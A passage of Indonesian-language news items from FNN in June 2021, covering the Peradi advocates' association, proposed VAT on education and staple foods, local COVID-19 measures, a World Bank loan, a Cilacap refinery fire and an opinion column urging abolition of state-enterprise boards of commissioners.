Napoli tersebut. "(Pelatih timnas Turki Roberto) Mancoini menyuruh kami untuk tetap tenang dan fokus kepada pertandingan, itu yang kami lakukan, dan akhirnya kami mencapai tujuan kami," sambung Insigne. Insigne dan kawan-kawan akan berlaga kembali Rabu pekan depan menghadapi Swiss dalam pertandingan kedua mereka di Grup A, sebelum mengakhiri fase grup mereka melawan, Wales Minggu pekan depan. (sws)

Otto Hasibuan: Desain Toga Teranyar Peradi Punya Makna Filosofi Kerja

Jakarta, FNN - Ketua Umum Perhimpunan Advokat Indonesia (Peradi) Otto Hasibuan mengatakan desain toga teranyar yang baru diluncurkan organisasi tersebut memiliki makna filosofi kerja. "Desainnya didasarkan pada prinsip-prinsip kerja filosofi Peradi," kata Otto Hasibuan melalui keterangan tertulis yang diterima di Jakarta, Jumat malam. Ia mengatakan toga terbaru Peradi nantinya digunakan ‎para advokat yang tergabung dalam organisasi itu. Desain tersebut merupakan hasil sayembara yang dilakukan Peradi beberapa waktu lalu. Salah satu dari bagian desain toga advokat tersebut ialah terdapat kantong atau saku di bagian belakang. Hal ini menyampaikan pesan bahwa uang bukan tujuan utama Peradi melainkan menegakkan hukum dan keadilan. "Mudah-mudahan seluruh advokat Indonesia dengan memakai toga ini bisa memulihkan semua kehormatan yang sudah mulai hilang," ujarnya lagi. Sedangkan untuk logo, lanjut Otto, awalnya bentuknya dalam tulisan. Logo anyar yang diluncurkan menggambarkan tugas Peradi sebagai organ negara yang bebas dan mandiri, bersifat independen dalam melaksanakan fungsi negara. Adapun delapan fungsi negara yang diemban Peradi, yakni melaksanakan pendidikan profesi advokat,‎ melaksanakan pengujian calon advokat,‎ mengangkat advokat,‎ membuat kode etik,‎ membentuk dewan kehormatan,‎ membentuk komisi pengawas,‎ melakukan pengawasan advokat dan‎ memberhentikan advokat. (sws)

Peradi: Belum Ada Hal Mendesak Merevisi UU Advokat

Jakarta, FNN - Ketua Umum Perhimpunan Advokat Indonesia (Peradi) Otto Hasibuan menilai belum ada hal-hal yang mendesak sebagai alasan untuk merevisi Undang-Undang (UU) Nomor 18 Tahun 2003 tentang Advokat. "Sebenarnya tidak ada urgensi buat kita melakukan revisi UU Advokat. Ya karena undang-undangnya tidak bermasalah," katanya melalui keterangan tertulis yang diterima di Jakarta, Jumat (11/6) malam. Ia menilai yang bermasalah adalah pejabat-pejabat yang tidak melaksanakan amanat UU Advokat secara baik dan konsisten yakni mengenai penerapan wadah tunggal. "Jadi jangan mencari kambing hitam. Undang-undang tidak ada yang salah, kenapa jadi undang-undangnya yang diubah," ujar dia. Bahkan, lanjutnya, seharusnya yang ditanya kenapa Mahkamah Agung (MA) tidak melaksanakan UU Advokat dengan konsekuen. Dalam UU Advokat Nomor 18 Tahun 2003 secara jelas disebutkan bahwa menganut sistem ‎wadah tunggal. ‎"Kenapa MA menabrak itu sehingga menjadi multibar. Jadi jangan undang-undangnya yang disalahkan. Kalau kita mau mengubah multibar tetap juga dong laksanakan 'single bar' karena itu hukum positif," ujarnya. Hal itu dilontarkan Otto menanggapi video yang diterimanya ‎soal pernyataan anggota DPR dan pejabat pemerintah yang menyampaikan mengenai revisi UU Advokat. Namun demikian, Otto mengaku belum mengetahui arah soal revisi UU Advokat, termasuk akan masuk program legislasi nasional (proglegnas) atau tidak. "Tetapi di dalam rapat DPR kemarin, Arteria Dahlan mengusulkan agar ini diseriuskan," katanya. Terkait dengan revisi tersebut, Otto menegaskan bahwa para pejabat dan anggota dewan harus berhati-hati dalam menyikapi keinginan multibar. Pasalnya, hal tersebut akan merugikan rakyat atau para pencari keadilan. Menurut Otto, multibar akan membuka peluang advokat menjadi penjahat. Sebab, sistem menjadikan tidak ada satu standardisasi kualitas hingga etik advokat. Dengan demikian, advokat akan sulit dikontrol. ‎"Kalau pejabat memahami makna dan tujuan dibentuknya organisasi advokat yang 'single bar', pasti mereka tidak akan berjuang untuk multi‎bar," ujarnya. Oleh karena itu, Peradi meminta pemerintah maupun DPR harus berhati-hati dalam men‎yikapi soal wadah advokat. (sws)

Haedar Nashir: PPN Pendidikan Bertentangan dengan Konstitusi

Yogyakarta, FNN - Ketua Umum Pimpinan Pusat Muhammadiyah Haedar Nashir mengatakan rencana pemerintah mengenakan pajak pertambahan nilai (PPN) untuk bidang pendidikan bertentangan dengan konstitusi dan tidak boleh diteruskan. "Kebijakan PPN bidang pendidikan jelas bertentangan dengan konstitusi dan tidak boleh diteruskan," katanya melalui keterangan tertulis di Yogyakarta, Jumat. Menurut dia, Muhammadiyah dengan tegas menolak karena keberatan atas rencana penerapan PPN untuk bidang pendidikan sebagaimana draf Rancangan Undang-Undang Revisi UU No. 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan. Ia menilai pemerintah yang paling bertanggung jawab dan berkewajiban dalam penyelenggaraan pendidikan, termasuk penyediaan anggaran 20 persen. Haedar mengatakan rencana penerapan PPN bidang pendidikan tersebut bertentangan dengan jiwa UUD 1945 Pasal 31 Pendidikan dan Kebudayaan, yang antara lain mengamanatkan bahwa setiap warga negara berhak mendapat pendidikan, setiap warga negara wajib mengikuti pendidikan dasar, dan pemerintah wajib membiayainya. "Pemerintah, termasuk Kemenkeu, dan DPR mestinya mendukung dan memberi kemudahan bagi organisasi kemasyarakatan yang menyelenggarakan pendidikan secara sukarela dan berdasarkan semangat pengabdian untuk mencerdaskan kehidupan bangsa," katanya. Pemerintah dan DPR, kata dia, semestinya juga tidak memberatkan organisasi kemasyarakatan penggerak pendidikan dan lembaga-lembaga pendidikan yang dikelola masyarakat dengan perpajakan. Kebijakan itu dikhawatirkan mematikan lembaga-lembaga pendidikan yang selama ini banyak membantu rakyat kecil, serta sebenarnya ikut meringankan beban pemerintah dalam menyelenggarakan pendidikan yang belum sepenuhnya merata. "Semestinya pemerintahlah yang berkewajiban penuh menyelenggarakan pendidikan dan kebudayaan bagi seluruh rakyat sebagaimana perintah konstitusi, yang berarti jika tidak menunaikannya secara optimal sama dengan mengabaikan konstitusi," kata dia. Pemerintah, menurutnya, justru perlu berterima kasih kepada ormas penyelenggara pendidikan yang selama ini membantu meringankan beban kewajiban pemerintah dalam menyelenggarakan pendidikan dan program kerakyatan lainnya, bukan malah membebani dengan PPN. "Ormas keagamaan seperti Muhammadiyah, NU, Kristen, Katolik, dan sebagainya justru meringankan beban dan membantu pemerintah yang semestinya diberi 'reward' atau penghargaan, bukan malah ditindak dan dibebani pajak yang pasti memberatkan," kata dia. Ia menilai jika kebijakan PPN itu dipaksakan untuk diterapkan maka yang nanti akan mampu menyelenggarakan pendidikan selain negara yang memang memiliki APBN, justru para pemilik modal yang akan berkibar dan mendominasi. "Sehingga pendidikan akan semakin mahal, elitis, dan menjadi ladang bisnis layaknya perusahaan," kata Haedar. Jika kebijakan itu diterapkan, ia mempertanyakan arah pendidikan nasional ke depan yang oleh para pendiri bangsa ditujukan untuk mencerdaskan kehidupan bangsa. "Padahal saat ini beban pendidikan Indonesia sangatlah tinggi dan berat, lebih-lebih di era pandemi COVID-19. Di daerah-daerah 3T bahkan pendidikan masih tertatih-tatih menghadapi segala kendala dan tantangan, yang belum terdapat pemerataan oleh pemerintah," kata dia. Pendidikan Indonesia, menurut dia, juga bakal semakin berat menghadapi tantangan persaingan dengan negara-negara lain. "Konsep pajak progresif lebih-lebih di bidang pendidikan secara ideologis menganut paham liberalisme absolut, sehingga perlu ditinjau ulang karena tidak sejalan dengan jiwa Pancasila dan kepribadian bangsa Indonesia yang mengandung spirit gotong royong dan kebersamaan," kata dia. Ia berharap, para perumus konsep kebijakan dan pengambil kebijakan menghayati, memahami, dan membumi dalam realitas kebudayaan bangsa Indonesia. "Para perumus dan pembuat kebijakan di negeri ini semestinya menjiwai konstitusi, Pancasila, dan denyut nadi perjuangan bangsa Indonesia termasuk peran kesejarahan Muhammadiyah dan organisasi kemasyarakatan yang sudah menyelenggarakan pendidikan dan perjuangan bangsa jauh sebelum republik ini berdiri," kata Haedar.(sws)

Gibran Larang Masuk Pedagang Bermobil dari Luar Kota untuk Sementara

Solo, FNN - Wali Kota Surakarta Gibran Rakabuming Raka melarang masuknya pedagang bermobil dari luar kota untuk sementara waktu menyusul ditemukan lima pedagang di pasar cenderamata yang terkonfirmasi COVID-19. "Itu kan pedagang dari luar kota semua, sebetulnya mereka (pedagang bermobil, red.) ini sudah lama kami larang," katanya di Solo, Jumat. Ia mengatakan tidak jarang petugas Satpol PP Kota Surakarta melakukan penertiban kepada para pedagang bermobil tersebut. Bahkan, dikatakannya, selama ini keberadaan pedagang bermobil banyak dikeluhkan oleh pedagang yang berjualan di dalam pasar, termasuk di Pasar Klewer. "Tetapi mereka agak 'ngeyel', jadwal mereka kan Senin dan Kamis. Dengan demikian, mulai Senin besok tidak kami bolehkan sampai waktu yang tidak ditentukan," katanya. Ke depan, katanya, akan dilakukan pengetatan untuk pedagang bermobil yang masuk Solo, yaitu hasil tes antigen. "Kalau 'ngeyel' ya kami 'swab' (tes usap) di tempat. Kalau positif langsung dikarantina. Apalagi mereka ini kan dari zona merah, di sini kan zona hijau," katanya. Ketua Pelaksana Harian Satgas COVID-19 Kota Surakarta Ahyani mengatakan ada lima pedagang yang dinyatakan positif COVID-19. Adanya temuan tersebut setelah dilakukan tes usap antigen secara acak oleh Tim Gugus Tugas COVID-19 Kota Surakarta. "Mereka semua warga Jepara, meski bukan penduduk Solo, tapi menjadi tanggung jawab Pemkot Solo," katanya. Ia mengatakan saat ini kelimanya ditempatkan ke Asrama Haji Donohudan untuk menjalani isolasi terpusat hingga dinyatakan negatif COVID-19. (mth)

KONI Aceh Buka Pencalonan Tuan Rumah PORA XV

Banda Aceh, FNN - Komite Olahraga Nasional Indonesia (KONI) Aceh membuka pendaftaran pencalonan tuan rumah Pekan Olahraga Aceh (PORA) XV Tahun 2026. Ketua Panitia Penjaringan dan Penyaringan Calon Tuan Rumah PORA XV/2026 KONI Aceh Azhari di Banda Aceh, Jumat, mengatakan pendaftaran pencalonan paling lambat disampaikan pada 25 Juni mendatang. "Pemerintah kabupaten kota melalui KONI setempat yang berminat menjadi tuan rumah Pekan Olahraga Aceh, harus menyampaikan permohonan tertulis kepada KONI Aceh," kata Azhari. Azhari menyebutkan kabupaten kota yang menjadi calon harus melampirkan data sumber daya manusia dan keuangan, ketersediaan sarana dan prasarana sesuai standar provinsi dan nasional. Kemudian, kata Azhari, dukungan masyarakat dengan memperlihatkan persetujuan tertulis dari bupati, wali kota, DPRK, Majelis Permusyawaratan Ulama (MPU). "Bagi daerah yang mendaftar diharuskan membayar uang pendaftaran. Serta menyerahkan jaminan berupa uang yang ditandatangani kepala daerah dan Ketua DPRK," kata Azhari yang didampingi Wakil Ketua Panitia Penjaringan M Zaini dan Sekretaris Panitia Penjaringan Nur Zahri. Selain itu, kabupaten kota yang mencalonkan telah memiliki 30 persen sarana dan prasarana olahraga yang akan digunakan. Serta pembangunan sarara dan prasarana minimal dilakukan setahun sebelum pelaksanaan PORA. "Dan terpenting, pembangunan sarana dan prasarana tidak melanggar hukum dan HAM. Serta menyampaikan rencana anggaran pelaksana pekan olahraga dan sumber anggarannya," kata Azhari. Azhari menyebutkan bagi kabupaten kota yang ingin menjadi tuan rumah bersama bisa menyampaikan setelah masing-masing menyampaikan permohonan tersendiri. Permohonan tuan rumah bersama harus tanda tangani masing-masing bupati wali kota. "Syarat menjadi tuan rumah bersama, kabupaten kota harus berdampingan secara geografis. Sedangkan syarat lainnya, sama dengan calon tunggal," kata mantan anggora DPR Aceh tersebut. Azhari mengatakan panitia yang dipimpinnya hanya bertugas menjaring dan menyaring calon, bukan yang menetapkan kabupaten kota tuan rumah pekan olahraga tersebut. Yang menetapkan, kata Azhari, adalah anggota KONI Aceh yang memiliki hak suara. Penetapan tuan rumah PORA XV Tahun 2026 dilakukan dalam rapat anggota KONI Aceh yang direncanakan pada Agustus 2021. "Tugas kami hanya menerima pendaftaran, memverifikasi administrasi dan juga verifikasi lapangan. Verifikasi lapangan untuk memastikan terpenuhinya syarat-syarat pencalonan," kata Azhari. (mth)

Hapus Saja Dewan Komisaris BUMN

By Asyari Usman Medan, FNN - Sekitar setahun yang lalu, tepatnya akhir Juli 2020, politisi PDIP Adian Napitupulu mengatakan dari 7,200 direksi dan komisaris semua BUMN, hanya 1,000 orang yang jelas asal-usulnya. Yang 6,200 lagi titipan semua. Nah, ini yang bilang teman baik Presiden Jokowi. Dan, ada benarnya sinyalemen Adian itu. Tentulah dia tidak asal komentar soal titipan itu. Proses rekrutmen pimpinan BUMN memang tidak jelas. Tidak transparan. Tidak ada yang tahu siapa yang mengangkat siapa. Baik itu direksi maupun komisaris. Negara membayar 3.7 triliun tiap tahun untuk gaji direksi dan komisaris BUMN yang tidak diketahui asal-usul mereka. Faktanya, sejak Joko Widodo (Jokowi) menjadi presiden, memang banyak pengangkatan pejabat BUMN, khususnya komisaris, yang beraroma titipan. Lihat saja penunjukan Prof Said Aqil Siroj (Ketua Umum PBNU) sebagai komisaris utama PT Kereta Api. Justifikasi korporasinya apa? Ilmu atau pengalaman apa yang menjadi alasan pengangkatan Said Aqil? Begitu juga penunjukan Abdee Slank sebagai komisaris independen PT Telkom. Apa ‘credential’ dia di dunia pertelekomunikasian? Nah, mau disebut mereka ini? Bukan titipan? Bukan untuk membayar dukungan politik mereka untuk Jokowi? Perhatikan pula posisi komisaris BUMN yang diberikan kepada para pendukung Jokowi lainnya. Ada Ali Mochtar Ngabalin di PT Pelindo III. Arya Sinulingga di PT Telkom. Sedangkan Fadjroel Rahman duduk di PT Waskita Kayra. Tengok juga Yenny Wahid di kursi komisaris PT Garuda Indonesia yang ditimbun utang 70 triliun. Dengan kondisi parah yang dialami sebagian besar BUMN saat ini, apakah mereka, para komisaris balas jasa itu, memberikan “ability” (kemampuan) atau “liability” (beban)? Jelas saja “liability”. Mereka menjadi beban BUMN. Beban rakyat. Triliunan rupiah tiap untuk para komisaris titipan itu. Ada pertanyaan penting: apakah jabatan komisaris masih diperlukan di BUMN? Apakah masih relevan? Komisaris adalah pemborosan. Mereka tidak diperlukan oleh BUMN. Kewajiban mengadakan posisi komisaris sesuai UU No. 40 Tahun 2008 tentang Perseroan Terbatas (PT), perlu direvisi. Pasal 6 Bab I di UU ini harus diubah khusus untuk BUMN. Hapus saja jabatan komisaris. Kalau untuk PT swasta, terserah mereka saja. Fungsi pengawasan direksi BUMN yang ditugaskan kepada para komisaris, bisa dilakukan dengan cara yang lebih murah. Tidak dengan mendudukkan 7-9 orang komisaris yang menghabiskan miliaran rupiah per bulan. Padahal, dewan komisaris (Dekom) itu pun banyak yang tidak berfungsi. Peter F Gontha (komisaris PT Garuda Indonesia) mengatakan bahwa Dekom di situ hanya aktif 5-6 jam dalam seminggu. Itu pun, saran mereka tidak diperlukan oleh direksi. Hanya di Indonesia dikenal jabatan komisaris PT. Sejauh ini, tidak ditemukan pencarian Google tentang perusahaan swasta atau publik di negara-negara Barat yang menyebutkan keberadaan komisaris atau Dekom. Di Inggris, pembentukan dan operasional perusahaan juga diatur dengan undang-undang (UU). Tetapi, UU tentang perusahaan yang disebut Companies Act 2006 (CA 2006, alias UU Perusahaan 2006), tidak mengenal jabatan komisaris. CA 2006 tidak mewajibkan keberadaan Dekom sebagai pengawas perusahaan. Perusahaan publik atau pribadi hanya diwajibkan memiliki “board of directors” (dewan direktur). Bahkan bisa tanpa dewan direktur. Pasal 154, CA 2006, menyebutkan bahwa perusahaan pribadi hanya diharuskan mempunyai satu direktur; sedangkan perusahaan publik cukup memiliki dua direktur. Namun demikian, supervisi terhadap jalannya perusahaan tetap ketat. CA 2006 memuat pasal-pasal yang menggiring direksi selalu transparan. Mereka wajib menyimpan semua rekam transaksi per hari dan harus siap setiap waktu diinspeksi oleh auditor independen. Para auditor diawasi oleh Financial Reporting Council (FRC). Sekarang, FRC akan segera diubah menjadi “Audit, Reporting, and Governance Authority” (ARGA) dengan wewenang yang lebih luas gara-gara belum lama ini terjadi skandal yang melibatkan sejumlah auditor yang ‘main mata’ dengan direksi perusahaan. Prosedur yang lebih-kurang sama berlaku di Amerika Serikat, Eropa, Australia, Jepang, dll. Intinya, sepak terjang BUMN bisa diawasi dengan ketat tanpa perlu Dewan Komisaris. Indonesia pun bisa mencontoh Inggris. Biarkan BUMN diperiksa oleh auditor indepeden. Dan para auditor independen itu diawasi sangat ketat oleh lembaga independen pula seperti ARGA. Alternatif lain, Badan Pemeriksa Keuangan (BPK) diperluas saja wewenangnya supaya bisa memeriksa BUMN. Bentuk “special branch” di BPK dengan auditor-auditor “Taliban” yang akan memborgol para direksi korup. Jadi, segera hapus Dewan Komisaris BUMN. Stop sekarang juga buang-buang duit rakyat triliunan rupiah tiap tahun.[] (Penulis wartawan senior FNN.co.id)

Bank Dunia Setujui Dana USD 400 Juta Atasi Kerentanan Keuangan RI

Jakarta, FNN - Dewan Direktur Eksekutif Bank Dunia menyetujui pendanaan sebesar 400 juta dolar AS atau sekitar Rp5,6 triliun yang akan dimanfaatkan untuk mendukung reformasi pemerintah Indonesia guna memperdalam, meningkatkan efisiensi, dan memperkuat, ketahanan sektor keuangan. Direktur Bank Dunia untuk Indonesia dan Timor-Leste Satu Kahkonen di Jakarta, Jumat, mengatakan pendanaan baru ini dirancang untuk membantu Indonesia dalam mengatasi kerentanan di sektor keuangan yang diperparah oleh pandemi COVID-19. "Pendanaan ini melengkapi berbagai upaya pemerintah untuk melindungi sektor keuangan dan perekonomian secara keseluruhan dari dampak-dampak yang ditimbulkan oleh krisis COVID-19," katanya. Ia menjelaskan pendanaan untuk kebijakan pembangunan yang baru ini akan mendukung berbagai reformasi di sektor keuangan melalui tiga pendekatan utama. Pertama, pendanaan bertujuan untuk memperdalam sektor keuangan dengan memperluas akses kepada layanan keuangan, termasuk oleh generasi muda dan perempuan, memperluas cakupan produk-produk keuangan, dan memberikan insentif untuk simpanan jangka panjang. "Berbagai upaya tersebut akan mengurangi kerentanan Indonesia terhadap arus keluar portofolio asing," kata Kahkonen. Kedua, pinjaman ini ditujukan untuk meningkatkan efisiensi dan menurunkan biaya di sektor keuangan dengan memperkuat kerangka kepailitan dan hak-hak kreditor, melindungi konsumen dan data pribadi, serta membangun sistem pembayaran yang lebih efisien dan cepat dengan memanfaatkan teknologi digital. "Hal ini akan membantu pembayaran bantuan sosial yang berskala besar kepada masyarakat rentan selama berlangsungnya krisis," tambah dia. Ketiga, mendorong kemampuan sektor keuangan bertahan dari guncangan dengan memperkuat kerangka resolusi untuk menghindari berbagai gangguan terhadap kegiatan keuangan jika terjadi kegagalan bank, meningkatkan efektifitas pengawasan sektor keuangan serta menerapkan praktik keuangan yang berkelanjutan. "Dengan menjadikan layanan keuangan lebih transparan, dapat diandalkan, dan berorientasi kepada teknologi, maka simpanan dapat disalurkan kepada investasi-investasi yang paling produktif secara lebih hemat, lebih cepat, dan lebih aman," katanya. Dengan demikian, menurut dia, pendanaan untuk memperkuat sektor keuangan ini dapat membuka peluang bagi masyarakat untuk berinvestasi demi masa depan dan untuk melindungi diri dari berbagai guncangan yang tidak diharapkan. Saat ini pandemi COVID-19 telah menyebabkan resesi di Indonesia, serta berpotensi memberikan dampak terhadap turunnya kinerja sektor keuangan, fiskal, dan sosial secara berkepanjangan. Sementara itu, sistem perbankan yang selama ini didukung modal yang cukup dengan keuntungan tinggi, dan kurang mendalamnya pasar keuangan Indonesia, telah meningkatkan kerentanan negara ini terhadap guncangan dari luar. Terkait kondisi tersebut Menteri Keuangan Sri Mulyani Indrawati mengatakan wabah COVID-19 telah menjadikan berbagai reformasi struktural dalam mengatasi kerentanan sektor keuangan mendesak untuk segera dilakukan. "Indonesia berkomitmen untuk memperkuat sektor keuangan karena perannya yang sangat penting dalam menjaga pertumbuhan Indonesia dan mengurangi kemiskinan, terutama selama tahap pemulihan COVID-19," katanya. (sws)

Polrestro Jakarta Barat Lakukan OTT terhadap 22 Orang Tersangka Preman

Jakarta, FNN - Polres Metro Jakarta Barat melakukan operasi tangkap tangan (OTT) terhadap 22 orang tersangka preman karena diduga melakukan pungutan liar (pungli) di wilayah hukum Jakarta Barat, Jumat. "Kami mengamankan (menangkap) sebanyak 22 preman yang kerap meresahkan masyarakat dengan cara melakukan pungutan liar, khususnya supir truk yang melintas di Jakarta Barat," ujar Kasat Reskrim Polres Metro Jakarta Barat Kompol Joko Dwi Harsono dalam keterangannya di Jakarta, Jumat. Joko mengatakan 22 orang tersebut ditangkap oleh Unit Kejahatan-Kekerasan (Jatanras) dan Unit Reserse Mobile dibantu Tim Pemburu Preman Polres Metro Jakarta Barat ketika melakukan penyisiran ke sejumlah jalan di wilayah Cengkareng dan Kalideres. Para tersangka preman pun langsung ditangkap dan dibawa ke Markas Polres Metro Jakarta Barat untuk diperiksa lebih lanjut, bersama barang bukti berupa uang hasil pungutan liar, senjata tajam dan kupon yang dipergunakan untuk melakukan pungli. "Untuk sejumlah orang yang kami amankan saat ini berikut barang bukti sudah kami bawa ke Polres Metro Jakarta Barat untuk dilakukan pemeriksaan lebih lanjut," tuturnya. Joko menjelaskan bahwa operasi tangkap tangan dilakukan kepada para tersangka sebagai upaya mencegah pungli dan premanisme di wilayah hukum Polres Metro Jakarta Barat. Sebelumnya, Presiden Joko Widodo menginstruksikan kepada Kapolri Jenderal Polisi Listyo Sigit Prabowo yang diteruskan kepada Kapolda Metro Jaya Irjen Pol M Fadil Imran dan Kapolres Metro Jakarta Barat Kombes Pol Ady Wibowo untuk melakukan pemberantasan aksi premanisme. Joko juga mengimbau kepada masyarakat untuk jangan ragu melaporkan ke pihak kepolisian jika menemukan adanya praktik premanisme di wilayah Jakarta Barat. "Karena informasi sekecil apapun itu akan sangat membantu kami dalam menciptakan Jakarta Barat yang aman dan kondusif serta bersih dari aksi premanisme," tutupnya. (mth)

Satu Tahun Ahok Komut, Pertamina Dua Kali Kebakaran

Jakarta, FNN - Baru sekitar satu tahun Ahok menjadi Komisaris Utama, PT Pertamina Pesero mengalami dua kali kebakaran. Sebelumnya terjadi kebakaran hebat di Pertamina Balongan, kini kebakaran serupa terjadi di kilang Cilacap. Kebakaran melanda area Pertamina Refinery Unit (RU) IV Cilacap, Jawa Tengah, Jumat malam (11/6/2021). Dalam berbagai informasi yang disebarkan publik di Twitter kobaran api melahap tangki 39 paraxyline sekitar pukul 19.45 WIB. Penyebab kebakaran masih belum diketahui, namun saat kejadian sedang ada petir. Pertamina Unit Pengolahan IV Cilacap merupakan salah satu dari 7 jajaran unit pengolahan yang memiliki kapasitas produksi terbesar yakni 348.000 barel per hari. Kilang ini bernilai strategis karena memasok 44 persen kebutuhan BBM nasional atau 75 persen kebutuhan BBM di Pulau Jawa. Selain itu kilang ini merupakan satu-satunya kilang di tanah air saat ini yang memproduksi aspal dan base oil. PT Pertamina (persero) masih berupaya mengendalikan kebakaran yang terjadi pada salah satu tanki yang berisi benzene. Manajer Communications, Relations, and CSR Pertamina RU IV Cilacap Hatim Ilwan mengatakan pihaknya saat ini masih terus dilakukan upaya pemadaman sisa api di area bundwall. "Upaya pendinginan juga masih terus dilakukan untuk mencegah api timbul kembali," kata Hatim dalam keterangannya di Jakarta, Jumat, Kebakaran tangki di area Kilang Cilacap, Jawa Tengah ini terjadi pada pukul 19.45 (11/06) dan penyebab kebakaran masih belum diketahui. Upaya pemadaman dilakukan dengan menggunakan penyemprotan foam ke arah titik api. Sejumlah 50 petugas pemadam diturunkan untuk menangani kebakaran. Kilang Cilacap merupakan satu dari enam Kilang Pertamina dan kapasitas pengolahan 270 ribu barel per hari. Kilang ini memiliki sekitar 200 tangki untuk menampung crude yang akan diolah, gas serta BBM hasil pengolahan minyak mentah. Meskipun terjadi kebakaran, Pertamina memastikan pasokan BBM dan elpiji untuk masyarakat tetap aman. (ant)

Australia: Keputusan Brisbane Tuan Rumah Olimpiade 2032 Belum Final

Jakarta, FNN - Ketua Komite Olimpiade Australia John Coates menyatakan usulan dewan eksekutif Komite Olimpiade Internasional (IOC) menjadikan Brisbane sebagai tuan rumah Olimpiade 2032 belum mencapai keputusan final. “Saya sangat senang dengan kepercayaan ini... ini menjadi langkah selanjutnya,” kata Coates dikutip Reuters, Jumat. “Anda tidak akan pernah tahu dengan anggota IOC. Dukungan 50 persen suara diperlukan bahkan jika hanya ada satu kandidat (tuan rumah),” ujarnya lagi. Dewan eksekutif IOC pada Kamis telah mengusulkan Brisbane sebagai tuan rumah Olimpiade 2032 menyusul rekomendasi Komisi Tuan Rumah Olimpiade Masa Depan yang telah menetapkan Brisbane sebagai preferred host atau tuan rumah pilihan IOC. Namun pengambilan suara penetapan status tuan rumah Olimpiade baru akan dilakukan pada sesi IOC ke-138 di Tokyo, 21 Juli mendatang. Sekitar 100 anggota IOC bakal berkumpul memberikan suaranya dalam pertemuan yang dilaksanakan dua hari sebelum upacara pembukaan Olimpiade 2020 Tokyo dimulai pada 23 Juli. Coates mengatakan bahwa IOC masih berdialog dengan negara-negara yang juga mengutarakan minatnya untuk menggelar pesta empat tahunan itu, termasuk Indonesia, Belanda, Hungaria, Jerman dan Qatar. Perdana Menteri Negara Bagian Queensland Annastacia Palaszczuk juga tak mau menyimpulkan terlalu dini, tetapi ia mengaku senang karena Brisbane selangkah lagi bisa mengikuti jejak Melbourne (1956) dan Sydney (2000) sebagai kota tuan rumah Olimpiade di Australia. “Kami baru saja melewati tantangan terakhir, dan kami akan segera mencapai finis. Kami hanya perlu menunggu sebentar lagi,” kata Palaszczuk. “Tapi hari ini adalah hari yang sangat membanggakan, sesuatu yang belum pernah saya bayangkan seumur hidup saya untuk bisa mencapai status tuan rumah ini.” (mth)

Anggota DPR Fraksi NasDem Tolak Rencana Pajak Sembako

Jakarta, FNN - Anggota DPR RI dari Fraksi Partai Nasional Demokrat (NasDem) Ahmad HM Ali menolak rencana Pemerintah mengenakan pajak untuk sembilan bahan pokok (sembako) karena akan menambah beban rakyat. “Fraksi NasDem menolak rencana, usulan Menteri Keuangan (Sri Mulyani, Red) soal tarif pajak itu. Kami akan perjuangkan itu jika rencana berbahaya ini benar-benar diusulkan ke DPR. Dari awal, kami tegaskan itu,” kata Ahmad Ali dikutip dari keterangan tertulisnya yang diterima di Jakarta, Jumat. Menurut dia, penerimaan pajak negara dapat ditingkatkan dengan cara lain, sehingga tidak perlu mengenakan pajak untuk sembako. “Harga komoditas di internasional juga sudah mulai membaik. Penerimaan dari sisi pabean juga menunjukkan tren positif. Jadi, pilihan menaikkan tarif itu pilihan potong kompas semata,” kata Ahmad HM Ali, Wakil Ketua Umum Partai NasDem. Ia pun mendorong Kementerian Keuangan mengkaji lebih matang sumber-sumber pendapatan negara untuk pembiayaan APBN. Ahmad juga meminta ada perbaikan regulasi, sehingga penerimaan pajak dapat optimal dan pemerintah tidak perlu membebani masyarakat dengan menaikkan tarif pajak. “Perbaikan regulasi itu untuk meningkatkan kepatuhan dan kemudahan menunaikan pajak. Sangat tidak bijak menaikkan tarif pajak saat masyarakat sedang berjuang keras mempertahankan sumber dan nilai pendapatannya,” kata Ahmad Ali. “Nilai pendapatan yang berkurang, karena naiknya tarif pajak justru akan mengurangi belanja masyarakat,” kata dia menambahkan. Politisi Partai NasDem itu juga berharap Kemenkeu dapat bekerja sama dengan kementerian/lembaga lainnya, sehingga ada sumber pendapatan negara yang dapat dioptimalkan. “Jangan seolah-olah soal pendapatan negara ini adalah champion Kemenkeu sendiri. Jadi yang dipikirkan hanya menaikkan tarif pajak. Duduk dan kerja sama dengan kementerian lain, sehingga bisa juga meraup pendapatan dari upaya mendorong surplus perdagangan luar negeri dan usaha lainnya,” ujar Ahmad Ali. Pemerintah berencana memungut pajak pertambahan nilai (PPN) pada sembako lewat perluasan objek PPN. Rencana itu tertuang dalam draf Revisi Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP). Terkait polemik itu, Menteri Keuangan RI Sri Mulyani Indrawati pada Kamis (10/6) menegaskan, rencana itu sifatnya internal, sehingga ia menyesalkan dokumen draf Revisi UU KUP bocor ke publik. Ia memastikan pemerintah masih akan fokus memulihkan perekonomian akibat pandemi COVID-19. “Situasinya menjadi agak kikuk karena ternyata kemudian dokumennya keluar, karena memang sudah dikirimkan kepada DPR juga. Yang keluar sepotong-sepotong,” kata Sri Mulyani. “Dari sisi etika politik, kami belum bisa menjelaskan sebelum ini dibahas. Karena ini adalah dokumen publik yang kami sampaikan kepada DPR melalui Surat Presiden,” kata dia menambahkan. (mth)

Ketua DPRD Surabaya Umumkan Dirinya Positif Covid-19

Surabaya, FNN - Ketua DPRD Surabaya Adi Sutarwijono mengumumkan bahwa dirinya positif terpapar COVID-19 berdasarkan uji usap berbasis PCR pada Selasa, 8 Juni 2021. "Iya, saya positif COVID-19. Mohon doanya, dan sekarang sedang pemulihan," ujarnya ketika dikonfirmasi melalui layanan WhatsApp jalur pribadi, Kamis malam. Cak Awi, sapaan akrabnya, mengatakan secara umum kondisinya baik, dan tidak ada gejala klinis signifikan. "Hanya butuh istirahat. Saya juga diberi vitamin serta beberapa obat oleh dokter," ucap pria yang juga Ketua DPC PDI Perjuangan Kota Surabaya tersebut. Ia mengaku tidak tahu kronologi hingga terpapar COVID-19, sebab selama sepekan ini ada beberapa acara, termasuk siapa tertular maupun yang menulari. Cak Awi menjelaskan juga sudah mengontak sejumlah kolega yang sempat bertemu dengannya selama beberapa hari terakhir. Informasi itu, kata dia, juga sudah disampaikan ke petugas kesehatan agar bisa dilakukan penelusuran kontak sesuai dengan prosedur penanganan COVID-19. "Saya sudah kontak beberapa kawan yang sempat ketemu. Untuk antisipasi semua saya minta lakukan tes usap PCR. Informasi juga saya sampaikan ke petugas kesehatan agar dilakukan tracing, dan bila mana ada yang positif bisa dilakukan treatment sesuai prosedur," katanya. "Demikian pula gedung DPRD Surabaya, sesuai 